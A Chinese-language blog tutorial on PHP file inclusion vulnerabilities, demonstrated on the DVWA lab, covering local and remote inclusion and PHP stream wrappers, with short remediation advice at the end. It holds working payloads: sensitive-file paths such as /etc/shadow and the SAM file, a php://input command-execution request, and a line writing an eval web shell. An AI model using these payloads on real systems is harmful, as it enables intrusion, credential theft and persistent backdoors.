文件包含漏洞总结

一、基础知识

1、文件包含漏洞的原理:

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码并执行,从而节省时间避免再次编写,这种调用文件的过程被称为包含。但是如果开发人员没有对包含的文件来源进行严格的审查,导致包含了其它恶意文件,执行了非预期的代码,就会引发文件包含漏洞。

2、php中的相关函数:

PHP中引发文件包含漏洞的函数有以下四种:

require()
require_once()
include()
include_once()
  • reuqire() 如果在包含的过程中有错,比如文件不存在等,会直接退出,不执行后续语句
  • include() 如果出错的话,只会提出警告,会继续执行后续语句。
  • require_once() 和 include_once() 与前两个的不同之处在于这两个函数只包含一次,如果一个文件已经被包含过了,则不会再包含它,以避免函数重定义或变量重赋值等问题。

    3、漏洞示例:

    当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。

测试代码(test.php):

<?php
    $file  = $_GET['filename'];
    include($file);
?>

在同目录下有个1.txt文件,内容为<?php phpinfo();?>

访问:

test.php?filename=1.txt


成功解析!

二、文件包含漏洞分类

文件包含漏洞分为两类,“本地文件包含”和“远程文件包含”。想要实现远程文件包含,需要在 php.ini 文件中开启

allow_url_fopen = Onallow_url_include = On

远程包含的文件是第三方服务器的文件。本地包含就是包含本地服务器的文件

1、本地文件包含漏洞:

本地文件包含漏洞,顾名思义,指的是能包含本地文件的漏洞。上面的例子就是本地文件包含漏洞。大部分情况下我们遇到的文件包含漏洞都是本地包含漏洞。并且不受 allow_url_fopen = Onallow_url_include = On 的影响。

漏洞示例:

这里用的是 DVWA 的靶场环境,难度设置为 low。


查看一下源码,DVWA\vulnerabilities\fi\source\Low.php:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

在 DVWA\vulnerabilities\fi\source\index.php中有:

if( isset( $file ) )
    include( $file );
else {
    header( 'Location:?page=include.php' );
    exit;
}

可以看到 Low.php 被包含在其中,这就构成了文件包含漏洞,并且被包含的文件是可控的。

在 file1 同级目录下新建一个名为 test.txt 的文件,内容如下:

<?php phpinfo();?>

访问:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=test.txt


成功执行!

我们还可以利用这个漏洞去读取一些其它的敏感文件,例:

下面是总结的一些常见的敏感目录信息。

常见的敏感信息路径:

Windows系统:

C:\Windows\win.ini // Windows系统的一个基本系统配置文件

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储 Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php配置信息

Linux/Unix系统:

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql配置文件

2、远程文件包含漏洞:

远程文件包含漏洞,是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。但远程文件包含漏洞的利用需要 php.ini 文件中

allow_url_fopen = On
allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

漏洞示例:

还是使用上面的靶场,在远程服务器新建文件 1.txt,文件内容还是 <?php phpinfo()?>

访问:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://192.168.50.131/1.txt


执行成功!

同样我们来读取一下Linux上的敏感文件:

三、PHP伪协议

PHP带有很多的封装协议,这些协议是我们使用文件包含漏洞时经常用到的方法,常见的协议有以下几种:

测试环境仍然是DVWA靶场

1、file://

file://伪协议用于访问本地文件系统,读取文件的内容,

条件:对allow_url_fopenallow_url_include 都不做要求。

用法:

?page=file://C:/Windows/win.ini

2、php://filter

php://filter 可以获取指定文件源码。当它与包含函数结合时,php://filter 流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

条件:对 allow_url_includeallow_url_fopen 都不做要求。

用法:

?page=php://filter/read=convert.base64-encode/resource=xxx.php


解码得到:

3、php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。

条件:allow_url_include = On,对 allow_url_fopen不做要求

注:当enctype=”multipart/form-data”时,php://input是无效的


也可以命令执行,POST:

<?php system('whoami');?>


写入木马,POST:

<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[s])?>');?>


可以看到我们的文件成功上传了。

接着就可以使用菜刀等工具连接了。

4、data:text/plain

php://input 类似,也可以执行任意代码,但利用条件和用法不同

条件:allow_url_fopen 参数与 allow_url_include 都需开启

用法1:

?page=data:text/plain,<?php 执行内容 ?>


用法2:

?page=data:text/plain;base64,编码后的php代码


注:base64编码后的加号要手动的url编码。如果不手动url编码会报错。加号的url编码为%2b。

5、zip://伪协议

访问压缩包中的文件,不管后缀是什么,都会当做压缩包来解压。

条件:

  1. php版本大于等于php5.3.0
  2. 对allow_url_include不做要求。
  3. 对allow_url_fopen不做要求。

用法:使用zip伪协议,需要指定绝对路径,而且压缩包文件和压缩包内的文件之间得用#,还要将#给URL编码为%23,之后填上压缩包内的文件。

?page=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

在本地新建文件 test.txt,并压缩成 test.rar 压缩包,访问:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=zip://C:/phpStudy/WWW/DVWA/vulnerabilities/fi/test.zip%23test.txt


注:这里需要注意 test.zip 必须是以zip压缩文件格式压缩!!其它像rar、7z这样的压缩文件格式就不行了。

6、phar://伪协议

与 zip:// 协议类似,但用法不同,zip:// 是用 # 把文件隔开,而 phar:// 是用/把文件名隔开,即

?page=phar://[压缩文件路径]/[压缩文件内的子文件名]

条件:

  1. php版本大于等于php5.3.0
  2. 对allow_url_include不做要求。
  3. 对allow_url_fopen不做要求。

还访问上面的 test.zip 文件


这里可以指定绝对路径或者相对路径。

四、漏洞修复

1、PHP 中使用 open_basedir 配置限制访问在指定的区域
2、过滤.(点)/(反斜杠)\(反斜杠)等特殊字符
3、尽量关闭 allow_url_include 配置


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 2058751973@qq.com

×

喜欢就点赞,疼爱就打赏